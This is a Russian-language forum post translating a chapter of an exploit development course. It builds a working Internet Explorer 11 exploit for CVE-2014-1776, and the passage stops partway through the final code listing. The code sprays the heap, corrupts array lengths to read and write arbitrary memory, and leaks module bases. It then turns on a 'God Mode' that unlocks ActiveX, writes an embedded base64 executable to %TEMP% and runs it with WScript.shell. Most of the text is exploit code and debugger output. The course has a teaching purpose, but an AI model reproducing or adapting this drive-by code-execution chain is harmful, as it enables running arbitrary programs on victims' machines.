+ Reply to Thread
Results 1 to 1 of 1

Thread: Exploit Development Course Part 19: IE 11 (Part II) [Перевод: dreamseller]

  1. #1
    dreamseller's Avatar

    Default Exploit Development Course Part 19: IE 11 (Part II) [Перевод: dreamseller]

    Перейти к содержанию


    Завершение эксплойта

    Как мы видели, POC использует window.onload, потому что он требует, чтобы код javascript выполнялся после полной загрузки страницы. Мы должны сделать то же самое в нашем эксплоите. Мы также должны внести необходимые изменения в остальную часть страницы. Вот полученный код:
    Code:
    <html xmlns:v="urn:schemas-microsoft-com:vml">
    <head id="haed">
    <title>IE Case Study - STEP1</title>
    <style>
            v\:*{Behavior: url(#default#VML)}
    </style>
    <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
    <script language="javascript">
      window.onload = function() {
        CollectGarbage();
     
        var header_size = 0x20;
        var array_len = (0x10000 - header_size)/4;
        var a = new Array();
        for (var i = 0; i < 0x1000; ++i) {
          a[i] = new Array(array_len);
          a[i][0] = 0;
        }
        
        magic_addr = 0xc000000;
        
        //           /------- allocation header -------\ /--------- buffer header ---------\
        // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
        //                                                       array_len buf_len
        
        alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
        
        // Locate the modified Array.
        var idx = -1;
        for (var i = 0; i < 0x1000 - 1; ++i) {
          // We try to modify the first element of the next Array.
          a[i][array_len + header_size/4] = 1;
          
          // If we successfully modified the first element of the next Array, then a[i]
          // is the Array whose length we modified.
          if (a[i+1][0] == 1) {
            idx = i;
            break;
          }
        }
        
        if (idx == -1) {
          alert("Can't find the modified Array");
          return;
        }
        
        // Modify the second Array for reading/writing everywhere.
        a[idx][array_len + 0x14/4] = 0x3fffffff;
        a[idx][array_len + 0x18/4] = 0x3fffffff;
        a[idx+1].length = 0x3fffffff;
        var base_addr = magic_addr + 0x10000 + header_size;
        
        // Very Important:
        //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
        //    converted to 64-bit floating point.
        //    This means that we can't, for instance, write
        //        a[idx+1][index] = 0xc1a0c1a0;
        //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
        //    We'll need to represent 0xc1a0c1a0 as a negative integer:
        //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
        
        function int2uint(x) {
          return (x < 0) ? 0x100000000 + x : x;
        }
    
        function uint2int(x) {
          return (x >= 0x80000000) ? x - 0x100000000 : x;
        }
    
        // The value returned will be in [0, 0xffffffff].
        function read(addr) {
          var delta = addr - base_addr;
          var val;
          if (delta >= 0)
            val = a[idx+1][delta/4];
          else
            // In 2-complement arithmetic,
            //   -x/4 = (2^32 - x)/4
            val = a[idx+1][(0x100000000 + delta)/4];
          
          return int2uint(val);
        }
        
        // val must be in [0, 0xffffffff].
        function write(addr, val) {
          val = uint2int(val);
          
          var delta = addr - base_addr;
          if (delta >= 0)
            a[idx+1][delta/4] = val;
          else
            // In 2-complement arithmetic,
            //   -x/4 = (2^32 - x)/4
            a[idx+1][(0x100000000 + delta)/4] = val;
        }
        
        function get_addr(obj) {
          a[idx+2][0] = obj;
          return read(base_addr + 0x10000);
        }
        
        // Back to determining the base address of MSHTML...
        // Here's the beginning of the element div:
        //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
        //      v
        //  04ab2d50 151f1ec0 00000000 00000000
        //  6f5569ce 00000000 0085f5d8 00000000
        //      ^
        //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
        var addr = get_addr(document.createElement("div"));
        jscript9 = read(addr) - 0x2d50;
        mshtml = read(addr + 0x10) - 0x1569ce;
        
        var old1 = read(mshtml+0xebcd98+0x10);
        var old2 = read(mshtml+0xebcd98+0x14);
    
        function GodModeOn() {
          write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
          write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
        }
        
        function GodModeOff() {
          write(mshtml+0xebcd98+0x10, old1);
          write(mshtml+0xebcd98+0x14, old2);
        }
    
        // content of exe file encoded in base64.
        runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
     
        function createExe(fname, data) {
          GodModeOn();
          var tStream = new ActiveXObject("ADODB.Stream");
          var bStream = new ActiveXObject("ADODB.Stream");
          GodModeOff();
          
          tStream.Type = 2;       // text
          bStream.Type = 1;       // binary
          tStream.Open();
          bStream.Open();
          tStream.WriteText(data);
          tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
          tStream.CopyTo(bStream);
          
          var bStream_addr = get_addr(bStream);
          var string_addr = read(read(bStream_addr + 0x50) + 0x44);
          write(string_addr, 0x003a0043);       // 'C:'
          write(string_addr + 4, 0x0000005c);   // '\'
          try {
            bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
          }
          catch(err) {
            return 0;
          }
          
          tStream.Close();
          bStream.Close();
          return 1;
        }
        
        function decode(b64Data) {
          var data = window.atob(b64Data);
          
           // Now data is like
          //   11 00 12 00 45 00 50 00 ...
          // rather than like
          //   11 12 45 50 ...
          // Let's fix this!
          var arr = new Array();
          for (var i = 0; i < data.length / 2; ++i) {
            var low = data.charCodeAt(i*2);
            var high = data.charCodeAt(i*2 + 1);
            arr.push(String.fromCharCode(low + high * 0x100));
          }
          return arr.join('');
        }
    
        GodModeOn();
        var shell = new ActiveXObject("WScript.shell");
        GodModeOff();
        fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
        if (createExe(fname, decode(runcalc)) == 0) {
    //      alert("SaveToFile failed");
          window.location.reload();
          return 0;
        }
        shell.Exec(fname);
     
        alert("Done");
      }
    </script>
    </head>
    <body><v:group id="vml" style="width:500pt;"><div></div></group></body>
    </html>
    Я сократил runcalc. Вы можете скачать полный код здесь: code6.

    Когда мы пробуем это, появляется знакомое диалоговое окно:



    Это означает, что что-то изменилось, и режим Бога больше не работает.

    Начнем с добавления двух предупреждений, чтобы проверить, что переменные jscript9 и mshtml содержат правильные базовые адреса:
    Code:
        // Back to determining the base address of MSHTML...
        // Here's the beginning of the element div:
        //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
        //      v
        //  04ab2d50 151f1ec0 00000000 00000000
        //  6f5569ce 00000000 0085f5d8 00000000
        //      ^
        //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
        var addr = get_addr(document.createElement("div"));
        jscript9 = read(addr) - 0x2d50;
        mshtml = read(addr + 0x10) - 0x1569ce;
        alert(jscript9.toString(16));
        alert(mshtml.toString(16));
    Когда мы перезагружаем страницу в IE, мы обнаруживаем, что две переменные содержат неправильные значения. Давайте еще раз изменим код, чтобы выяснить, в чем дело:
    Code:
        // Back to determining the base address of MSHTML...
        // Here's the beginning of the element div:
        //      +----- jscript9!Projection::ArrayObjectInstance::`vftable' = jscript9 + 0x2d50
        //      v
        //  04ab2d50 151f1ec0 00000000 00000000
        //  6f5569ce 00000000 0085f5d8 00000000
        //      ^
        //      +---- MSHTML!CBaseTypeOperations::CBaseFinalizer = mshtml + 0x1569ce
        var addr = get_addr(document.createElement("div"));
        alert(addr.toString(16));
        jscript9 = read(addr) - 0x2d50;
        mshtml = read(addr + 0x10) - 0x1569ce;
    Когда мы анализируем объект по адресу addr, мы понимаем, что чего-то не хватает:
    Code:
    0:021> dd 3c600e0
    03c600e0  6cd75480 03c54120 00000000 03c6cfa0
    03c600f0  029648a0 03c6af44 03c6af74 00000000
    03c60100  6cd7898c 00000001 00000009 00000000
    03c60110  0654d770 00000000 00000000 00000000
    03c60120  6cd75480 03c54120 00000000 03c6c000
    03c60130  029648a0 03c6a3d4 03c6af44 00000000
    03c60140  6cd75480 03c54120 00000000 03c6cfb0
    03c60150  029648a0 029648c0 03c60194 00000000
    0:021> ln 6cd75480
    (6cd75480)   jscript9!HostDispatch::`vftable'   |  (6cd755d8)   jscript9!Js::ConcatStringN<4>::`vftable'
    Exact matches:
        jscript9!HostDispatch::`vftable' = <no type information>
    0:021> ln 029648a0
    0:021> dds 3c600e0
    03c600e0  6cd75480 jscript9!HostDispatch::`vftable'
    03c600e4  03c54120
    03c600e8  00000000
    03c600ec  03c6cfa0
    03c600f0  029648a0
    03c600f4  03c6af44
    03c600f8  03c6af74
    03c600fc  00000000
    03c60100  6cd7898c jscript9!HostVariant::`vftable'
    03c60104  00000001
    03c60108  00000009
    03c6010c  00000000
    03c60110  0654d770
    03c60114  00000000
    03c60118  00000000
    03c6011c  00000000
    03c60120  6cd75480 jscript9!HostDispatch::`vftable'
    03c60124  03c54120
    03c60128  00000000
    03c6012c  03c6c000
    03c60130  029648a0
    03c60134  03c6a3d4
    03c60138  03c6af44
    03c6013c  00000000
    03c60140  6cd75480 jscript9!HostDispatch::`vftable'
    03c60144  03c54120
    03c60148  00000000
    03c6014c  03c6cfb0
    03c60150  029648a0
    03c60154  029648c0
    03c60158  03c60194
    03c6015c  00000000
    Как мы можем определить базовый адрес mshtml.dll без указателя на vftable в нем?

    Нам нужно найти другой путь. На данный момент мы узнали, что элемент div представлен объектом типа jscript9!HostDispatch. Но мы уже видели этот объект в действии. Вы помните трассировку стека после crash? Посмотрим снова:
    Code:
    0:007> k 10
    ChildEBP RetAddr  
    0a53b790 0a7afc25 MSHTML!CMarkup::IsConnectedToPrimaryMarkup
    0a53b7d4 0aa05cc6 MSHTML!CMarkup::OnCssChange+0x7e
    0a53b7dc 0ada146f MSHTML!CElement::OnCssChange+0x28
    0a53b7f4 0a84de84 MSHTML!`CBackgroundInfo::Property<CBackgroundImage>'::`7'::`dynamic atexit destructor for 'fieldDefaultValue''+0x4a64
    0a53b860 0a84dedd MSHTML!SetNumberPropertyHelper<long,CSetIntegerPropertyHelper>+0x1d3
    0a53b880 0a929253 MSHTML!NUMPROPPARAMS::SetNumberProperty+0x20
    0a53b8a8 0ab8b117 MSHTML!CBase::put_BoolHelper+0x2a
    0a53b8c0 0ab8aade MSHTML!CBase::put_Bool+0x24
    0a53b8e8 0aa3136b MSHTML!GS_VARIANTBOOL+0xaa
    0a53b97c 0aa32ca7 MSHTML!CBase::ContextInvokeEx+0x2b6
    0a53b9a4 0a93b0cc MSHTML!CElement::ContextInvokeEx+0x4c
    0a53b9d0 0a8f8f49 MSHTML!CLinkElement::VersionedInvokeEx+0x49
    0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
    0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
    0a53bae0 6f06ab30 jscript9!HostDispatch::PutValueByDispId+0x94
    0a53baf8 6f06aafc jscript9!HostDispatch::PutValue+0x2a
    В частности, посмотрите на эти две строки:
    Code:
    0a53ba08 6ef918eb MSHTML!CBase::PrivateInvokeEx+0x6d
    0a53ba6c 6f06abdc jscript9!HostDispatch::CallInvokeEx+0xae
    Понятно, что вызов jscript9!HostDispatch::CallInvokeEx знает адрес функции MSHTML!CBase:rivateInvokeEx, и если нам повезет, этот адрес доступен из объекта HostDispatch (помните, что нам известен адрес объекта этого самого типа).

    Давайте рассмотрим jscript9!HostDispatch::CallInvokeEx в IDA. Загрузите jscript9 в IDA, а затем нажмите Ctrl + P, чтобы найти CallInvokeEx. Теперь вы можете щелкнуть любую команду, чтобы увидеть ее смещение относительно текущей функции. Мы хотим найти инструкцию по смещению 0xae CallInvokeEx:



    Похоже, адрес MSHTML!CBase:rivateInvokeEx находится по адресу eax + 20h.

    Как и в случае с ошибками UAF, мы попытаемся определить, откуда появляется адрес MSHTML!CBase:rivateInvokeEx:



    Теперь нам нужно изучить функцию GetHostVariantWrapper:



    Объединив схемы, мы получим следующее:
    Code:
    X = [это + 0ch]
    Var_14 = [X + 8]
    X = var_14
    Obj_ptr = [X + 10h]
    Более просто:
    Code:
    X = [это + 0ch]
    X = [X + 8]
    Obj_ptr = [X + 10h]
    Посмотрим, правы ли мы. Давайте перезагрузим html-страницу в IE и снова рассмотрим элемент div:
    Code:
    0:022> dd 5360f20
    05360f20  6cc55480 05354280 00000000 0536cfb0
    05360f30  0419adb0 0536af74 0536afa4 00000000
    05360f40  6cc5898c 00000001 00000009 00000000
    05360f50  00525428 00000000 00000000 00000000
    05360f60  05360f81 00000000 00000000 00000000
    05360f70  00000000 00000000 00000000 00000000
    05360f80  05360fa1 00000000 00000000 00000000
    05360f90  00000000 00000000 00000000 00000000
    0:022> ln 6cc55480
    (6cc55480)   jscript9!HostDispatch::`vftable'   |  (6cc555d8)   jscript9!Js::ConcatStringN<4>::`vftable'
    Exact matches:
        jscript9!HostDispatch::`vftable' = <no type information>
    0:022> dd poi(5360f20+c)
    0536cfb0  6cc52d44 00000001 05360f00 00000000
    0536cfc0  6cc52d44 00000001 05360f40 00000000
    0536cfd0  0536cfe1 00000000 00000000 00000000
    0536cfe0  0536cff1 00000000 00000000 00000000
    0536cff0  0536cf71 00000000 00000000 00000000
    0536d000  6cc54534 0535d8c0 00000000 00000005
    0536d010  00004001 047f0010 053578c0 00000000
    0536d020  00000001 05338760 00000000 00000000
    0:022> ln 6cc52d44
    (6cc52d44)   jscript9!DummyVTableObject::`vftable'   |  (6cc52d50)   jscript9!Projection::ArrayObjectInstance::`vftable'
    Exact matches:
        jscript9!Projection::UnknownEventHandlingThis::`vftable' = <no type information>
        jscript9!Js::FunctionInfo::`vftable' = <no type information>
        jscript9!Projection::UnknownThis::`vftable' = <no type information>
        jscript9!Projection::NamespaceThis::`vftable' = <no type information>
        jscript9!Js::WinRTFunctionInfo::`vftable' = <no type information>
        jscript9!RefCountedHostVariant::`vftable' = <no type information>
        jscript9!DummyVTableObject::`vftable' = <no type information>
        jscript9!Js::FunctionProxy::`vftable' = <no type information>
    0:022> dd poi(poi(5360f20+c)+8)
    05360f00  6cc5898c 00000005 00000009 00000000
    05360f10  00565d88 00000000 00000000 00000000
    05360f20  6cc55480 05354280 00000000 0536cfb0
    05360f30  0419adb0 0536af74 0536afa4 00000000
    05360f40  6cc5898c 00000001 00000009 00000000
    05360f50  00525428 00000000 00000000 00000000
    05360f60  05360f81 00000000 00000000 00000000
    05360f70  00000000 00000000 00000000 00000000
    0:022> ln 6cc5898c
    (6cc5898c)   jscript9!HostVariant::`vftable'   |  (6cc589b5)   jscript9!Js::CustomExternalObject::SetProperty
    Exact matches:
        jscript9!HostVariant::`vftable' = <no type information>
    0:022> dd poi(poi(poi(5360f20+c)+8)+10)
    00565d88  6f03eb04 00000001 00000000 00000008
    00565d98  00000000 05360f08 00000000 00000000
    00565da8  00000022 02000400 00000000 00000000
    00565db8  07d47798 07d47798 5c0cccc8 88000000
    00565dc8  003a0043 0057005c 006e0069 006f0064
    00565dd8  00730077 0073005c 00730079 00650074
    00565de8  0033006d 005c0032 00580053 002e0053
    00565df8  004c0044 0000004c 5c0cccb0 88000000
    0:022> ln 6f03eb04
    (6f03eb04)   MSHTML!CDivElement::`vftable'   |  (6ede7f24)   MSHTML!s_propdescCDivElementnofocusrect
    Exact matches:
        MSHTML!CDivElement::`vftable' = <no type information>
    Бинго! Наши проблемы решены! Теперь давайте вычислить RVA найденной vftable:
    Code:
    0:005> ? 6f03eb04-mshtml
    Evaluate expression: 3861252 = 003aeb04
    Нам также нужно вычислить RVA для jscript9!HostDispatch::'vftable':
    Code:
    0:005> ? 6cc55480-jscript9
    Evaluate expression: 21632 = 00005480
    Теперь измените код следующим образом:
    Code:
        // Here's the beginning of the element div:
        //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
        //      v
        //  6cc55480 05354280 00000000 0536cfb0
        //
        // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
        //   X = [div_elem+0ch]
        //   X = [X+8]
        //   obj_ptr = [X+10h]
        //   vftptr = [obj_ptr]
        // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
        var addr = get_addr(document.createElement("div"));
        jscript9 = read(addr) - 0x5480;
        mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
        alert(jscript9.toString(16));
        alert(mshtml.toString(16));
        return;
    Попробуйте: это должно работать просто отлично!

    Теперь удалите два предупреждения и возврат. Ммм ... калькулятор не отображается, что-то не так (опять!). Чтобы понять, что не так, мы можем использовать Developer Tools. Похоже, что когда Developer Tools включены, наш Режим Бога не работает. Просто разрешите выполнение ActiveXObject, и вы увидите следующую ошибку:



    К счастью, проблема довольно проста: atob недоступен в IE 9. Я нашел polyfill для atob здесь:

    https://github.com/Modernizr/Moderni...and-windowbtoa

    Вот измененный код:
    Code:
    <html xmlns:v="urn:schemas-microsoft-com:vml">
    <head id="haed">
    <title>IE Case Study - STEP1</title>
    <style>
            v\:*{Behavior: url(#default#VML)}
    </style>
    <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
    <script language="javascript">
      window.onload = function() {
        CollectGarbage();
     
        var header_size = 0x20;
        var array_len = (0x10000 - header_size)/4;
        var a = new Array();
        for (var i = 0; i < 0x1000; ++i) {
          a[i] = new Array(array_len);
          a[i][0] = 0;
        }
        
        magic_addr = 0xc000000;
        
        //           /------- allocation header -------\ /--------- buffer header ---------\
        // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
        //                                                       array_len buf_len
        
        alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
        
        // Locate the modified Array.
        var idx = -1;
        for (var i = 0; i < 0x1000 - 1; ++i) {
          // We try to modify the first element of the next Array.
          a[i][array_len + header_size/4] = 1;
          
          // If we successfully modified the first element of the next Array, then a[i]
          // is the Array whose length we modified.
          if (a[i+1][0] == 1) {
            idx = i;
            break;
          }
        }
        
        if (idx == -1) {
          alert("Can't find the modified Array");
          return;
        }
        
        // Modify the second Array for reading/writing everywhere.
        a[idx][array_len + 0x14/4] = 0x3fffffff;
        a[idx][array_len + 0x18/4] = 0x3fffffff;
        a[idx+1].length = 0x3fffffff;
        var base_addr = magic_addr + 0x10000 + header_size;
        
        // Very Important:
        //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
        //    converted to 64-bit floating point.
        //    This means that we can't, for instance, write
        //        a[idx+1][index] = 0xc1a0c1a0;
        //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
        //    We'll need to represent 0xc1a0c1a0 as a negative integer:
        //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
        
        function int2uint(x) {
          return (x < 0) ? 0x100000000 + x : x;
        }
    
        function uint2int(x) {
          return (x >= 0x80000000) ? x - 0x100000000 : x;
        }
    
        // The value returned will be in [0, 0xffffffff].
        function read(addr) {
          var delta = addr - base_addr;
          var val;
          if (delta >= 0)
            val = a[idx+1][delta/4];
          else
            // In 2-complement arithmetic,
            //   -x/4 = (2^32 - x)/4
            val = a[idx+1][(0x100000000 + delta)/4];
          
          return int2uint(val);
        }
        
        // val must be in [0, 0xffffffff].
        function write(addr, val) {
          val = uint2int(val);
          
          var delta = addr - base_addr;
          if (delta >= 0)
            a[idx+1][delta/4] = val;
          else
            // In 2-complement arithmetic,
            //   -x/4 = (2^32 - x)/4
            a[idx+1][(0x100000000 + delta)/4] = val;
        }
        
        function get_addr(obj) {
          a[idx+2][0] = obj;
          return read(base_addr + 0x10000);
        }
        
        // Here's the beginning of the element div:
        //      +----- jscript9!HostDispatch::`vftable' = jscript9 + 0x5480
        //      v
        //  6cc55480 05354280 00000000 0536cfb0
        //
        // To find the vftable MSHTML!CDivElement::`vftable', we must follow a chain of pointers:
        //   X = [div_elem+0ch]
        //   X = [X+8]
        //   obj_ptr = [X+10h]
        //   vftptr = [obj_ptr]
        // where vftptr = vftable MSHTML!CDivElement::`vftable' = mshtml + 0x3aeb04.
        var addr = get_addr(document.createElement("div"));
        jscript9 = read(addr) - 0x5480;
        mshtml = read(read(read(read(addr + 0xc) + 8) + 0x10)) - 0x3aeb04;
    
        var old1 = read(mshtml+0xebcd98+0x10);
        var old2 = read(mshtml+0xebcd98+0x14);
    
        function GodModeOn() {
          write(mshtml+0xebcd98+0x10, jscript9+0x155e19);
          write(mshtml+0xebcd98+0x14, jscript9+0x155d7d);
        }
        
        function GodModeOff() {
          write(mshtml+0xebcd98+0x10, old1);
          write(mshtml+0xebcd98+0x14, old2);
        }
    
        // content of exe file encoded in base64.
        runcalc = 'TVqQAAMAAAAEAAAA//8AALgAAAAAA <snipped> AAAAAAAAAAAAAAAAAAAAAAAAAAAAA';
     
        function createExe(fname, data) {
          GodModeOn();
          var tStream = new ActiveXObject("ADODB.Stream");
          var bStream = new ActiveXObject("ADODB.Stream");
          GodModeOff();
          
          tStream.Type = 2;       // text
          bStream.Type = 1;       // binary
          tStream.Open();
          bStream.Open();
          tStream.WriteText(data);
          tStream.Position = 2;       // skips the first 2 bytes in the tStream (what are they?)
          tStream.CopyTo(bStream);
          
          var bStream_addr = get_addr(bStream);
          var string_addr = read(read(bStream_addr + 0x50) + 0x44);
          write(string_addr, 0x003a0043);       // 'C:'
          write(string_addr + 4, 0x0000005c);   // '\'
          try {
            bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
          }
          catch(err) {
            return 0;
          }
          
          tStream.Close();
          bStream.Close();
          return 1;
        }
    
        // decoder
        // [https://gist.github.com/1020396] by [https://github.com/atk]
        function atob(input) {
          var chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=';
          var str = String(input).replace(/=+$/, '');
          if (str.length % 4 == 1) {
            throw new InvalidCharacterError("'atob' failed: The string to be decoded is not correctly encoded.");
          }
          for (
            // initialize result and counters
            var bc = 0, bs, buffer, idx = 0, output = '';
            // get next character
            buffer = str.charAt(idx++);
            // character found in table? initialize bit storage and add its ascii value;
            ~buffer && (bs = bc % 4 ? bs * 64 + buffer : buffer,
              // and if not first of each 4 characters,
              // convert the first 8 bits to one ascii character
              bc++ % 4) ? output += String.fromCharCode(255 & bs >> (-2 * bc & 6)) : 0
          ) {
            // try to find character in table (0-63, not found => -1)
            buffer = chars.indexOf(buffer);
          }
          return output;
        }
    
        function decode(b64Data) {
          var data = atob(b64Data);
          
           // Now data is like
          //   11 00 12 00 45 00 50 00 ...
          // rather than like
          //   11 12 45 50 ...
          // Let's fix this!
          var arr = new Array();
          for (var i = 0; i < data.length / 2; ++i) {
            var low = data.charCodeAt(i*2);
            var high = data.charCodeAt(i*2 + 1);
            arr.push(String.fromCharCode(low + high * 0x100));
          }
          return arr.join('');
        }
    
        GodModeOn();
        var shell = new ActiveXObject("WScript.shell");
        GodModeOff();
        fname = shell.ExpandEnvironmentStrings("%TEMP%\\runcalc.exe");
        if (createExe(fname, decode(runcalc)) == 0) {
          alert("SaveToFile failed");
          window.location.reload();
          return 0;
        }
        shell.Exec(fname);
     
        alert("Done");
      }
    </script>
    </head>
    <body><v:group id="vml" style="width:500pt;"><div></div></group></body>
    </html>
    Как и раньше, я обрезал runcalc. Вы можете скачать полный код здесь: code7.

    Теперь калькулятор появляется, и все, похоже, работает нормально, пока мы не получим сбой. Сбой не всегда происходит, но с кодом явно что-то не так. Авария, вероятно, вызвана неправильной записью. Поскольку Режим Бога работает правильно, проблема должна быть в двух операциях записи перед вызовом bStream.SaveToFile.

    Закомментируем две записи и повторите попытку. Отлично! Теперь больше нет сбоев! Но мы не можем просто обойти две записи. Если мы используем SimpleServer, это, конечно, не работает, потому что эти две записи нужны. Удивительно, но если мы добавим обратно две записи, все может быть хорошо.

    Если мы немного расследуем ситуацию, мы обнаружим, что когда HTML-страница загружается в IE непосредственно с жесткого диска, string_addr указывает на нулевое dword. С другой стороны, когда страница загружается, перейдя на 127.0.0.1 и обслуживается SimpleServer, string_addr указывает на строку Unicode http://127.0.0.1/. По этой причине мы должны изменить код следующим образом:
    Code:
          var bStream_addr = get_addr(bStream);
          var string_addr = read(read(bStream_addr + 0x50) + 0x44);
          if (read(string_addr) != 0) {         // only when there is a string to overwrite
            write(string_addr, 0x003a0043);       // 'C:'
            write(string_addr + 4, 0x0000005c);   // '\'
          }
          try {
            bStream.SaveToFile(fname, 2);     // 2 = overwrites file if it already exists
          }
          catch(err) {
            return 0;
          }

    Завершение эксплойта (2)

    Пора уже совершить этот эксплойт! Полный код:
    Code:
    <html xmlns:v="urn:schemas-microsoft-com:vml">
    <head id="haed">
    <title>IE Case Study - STEP1</title>
    <style>
            v\:*{Behavior: url(#default#VML)}
    </style>
    <meta http-equiv="X-UA-Compatible" content="IE=EmulateIE9" />
    <script language="javascript">
      magic_addr = 0xc000000;
    
      function dword2Str(dword) {
        var low = dword % 0x10000;
        var high = Math.floor(dword / 0x10000);
        if (low == 0 || high == 0)
          alert("dword2Str: null wchars not allowed");
        return String.fromCharCode(low, high);
      }
     
      function getPattern(offset_values, tot_bytes) {
        if (tot_bytes % 4 != 0)
          alert("getPattern(): tot_bytes is not a multiple of 4");
        var pieces = new Array();
        var pos = 0;
        for (i = 0; i < offset_values.length/2; ++i) {
          var offset = offset_values[i*2];
          var value = offset_values[i*2 + 1];
          var padding = new Array((offset - pos)/2 + 1).join("a");
          pieces.push(padding + dword2Str(value));
          pos = offset + 4;
        }
        // The "- 2" accounts for the null wchar at the end of the string.
        var padding = new Array((tot_bytes - 2 - pos)/2 + 1).join("a");
        pieces.push(padding);
        return pieces.join("");
      }
    
      function trigger() {
        var head = document.getElementById("haed")
        tmp = document.createElement("CVE-2014-1776")
        document.getElementById("vml").childNodes[0].appendChild(tmp)
        tmp.appendChild(head)
        tmp = head.offsetParent
        tmp.onpropertychange = function(){
          this["removeNode"](true)
          document.createElement("CVE-2014-1776").title = ""
          
          var elem = document.createElement("div");
          elem.className = getPattern([
            0xa4, magic_addr + 0x20 - 0xc,      // X; X+0xc --> b[0]
            0x118, magic_addr + 0x24 + 0x24,    // U; U --> (*); U-0x24 --> b[1]
            0x198, -1                           // bit 12 set
          ], 0x428);
        }
        head.firstChild.nextSibling.disabled = head
      }
    
      // The object is 0x428 bytes.
      // Conditions to control the bug and force an INC of dword at magic_addr + 0x1b:
      //   X = [ptr+0A4h] ==> Y = [X+0ch] ==>
      //               [Y+208h] is 0
      //               [Y+630h+248h] = [Y+878h] val to inc!      <======
      //               [Y+630h+380h] = [Y+9b0h] has bit 16 set
      //               [Y+630h+3f4h] = [Y+0a24h] has bit 7 set
      //               [Y+1044h] is 0
      //   U = [ptr+118h] ==> [U] is 0 => V = [U-24h] => W = [V+1ch],
      //               [W+0ah] has bit 1 set & bit 4 unset
      //               [W+44h] has bit 7 set
      //               [W+5ch] is writable
      //   [ptr+198h] has bit 12 set
     
      window.onload = function() {
        CollectGarbage();
     
        var header_size = 0x20;
        var array_len = (0x10000 - header_size)/4;
        var a = new Array();
        for (var i = 0; i < 0x1000; ++i) {
          a[i] = new Array(array_len);
    
          var idx;
          b = a[i];
          b[0] = magic_addr + 0x1b - 0x878;         // Y
          idx = Math.floor((b[0] + 0x9b0 - (magic_addr + 0x20))/4);         // index for Y+9b0h
          b[idx] = -1; b[idx+1] = -1;
          idx = Math.floor((b[0] + 0xa24 - (magic_addr + 0x20))/4);         // index for Y+0a24h
          b[idx] = -1; b[idx+1] = -1;
          idx = Math.floor((b[0] + 0x1044 - (magic_addr + 0x20))/4);        // index for Y+1044h
          b[idx] = 0; b[idx+1] = 0;
          // The following address would be negative so we add 0x10000 to translate the address
          // from the previous copy of the array to this one.
          idx = Math.floor((b[0] + 0x208 - (magic_addr + 0x20) + 0x10000)/4);   // index for Y+208h
          b[idx] = 0; b[idx+1] = 0;
     
          b[1] = magic_addr + 0x28 - 0x1c;          // V, [U-24h]; V+1ch --> b[2]
          b[(0x24 + 0x24 - 0x20)/4] = 0;            // [U] (*)
          b[2] = magic_addr + 0x2c - 0xa;           // W; W+0ah --> b[3]
          b[3] = 2;                                 // [W+0ah]
          idx = Math.floor((b[2] + 0x44 - (magic_addr + 0x20))/4);      // index for W+44h
          b[idx] = -1; b[idx+1] = -1;
        }
        
        //           /------- allocation header -------\ /--------- buffer header ---------\
        // 0c000000: 00000000 0000fff0 00000000 00000000 00000000 00000001 00003ff8 00000000
        //                                                       array_len buf_len
        
    //    alert("Modify the \"Buffer length\" field of the Array at 0x" + magic_addr.toString(16));
        trigger();
        
        // Locate the modified Array.
        idx = -1;
        for (var i = 0; i < 0x1000 - 1; ++i) {
          // We try to modify the first element of the next Array.
          a[i][array_len + header_size/4] = 1;
          
          // If we successfully modified the first element of the next Array, then a[i]
          // is the Array whose length we modified.
          if (a[i+1][0] == 1) {
            idx = i;
            break;
          }
        }
        
        if (idx == -1) {
    //      alert("Can't find the modified Array");
          window.location.reload();
          return;
        }
        
        // Modify the second Array for reading/writing everywhere.
        a[idx][array_len + 0x14/4] = 0x3fffffff;
        a[idx][array_len + 0x18/4] = 0x3fffffff;
        a[idx+1].length = 0x3fffffff;
        var base_addr = magic_addr + 0x10000 + header_size;
        
        // Very Important:
        //    The numbers in Array are signed int32. Numbers greater than 0x7fffffff are
        //    converted to 64-bit floating point.
        //    This means that we can't, for instance, write
        //        a[idx+1][index] = 0xc1a0c1a0;
        //    The number 0xc1a0c1a0 is too big to fit in a signed int32.
        //    We'll need to represent 0xc1a0c1a0 as a negative integer:
        //        a[idx+1][index] = -(0x100000000 - 0xc1a0c1a0);
        
        function int2uint(x) {
          return (x < 0) ? 0x100000000 + x : x;
        }
    
        function uint2int(x) {
          return (x >= 0x80000000) ? x - 0x100000000 : x;
        }
    
        // The value returned will be in [0, 0xffffffff].
        function read(addr) {
          var delta = addr - base_addr;
          var val;
          if (delta >= 0)
            val = a[idx+1][delta/4];
          else
            // In 2-complement arithmetic,
            //   -x/4 = (2^32 - x)/4
            val = a[idx+1][(0x100000000 + delta)/4];
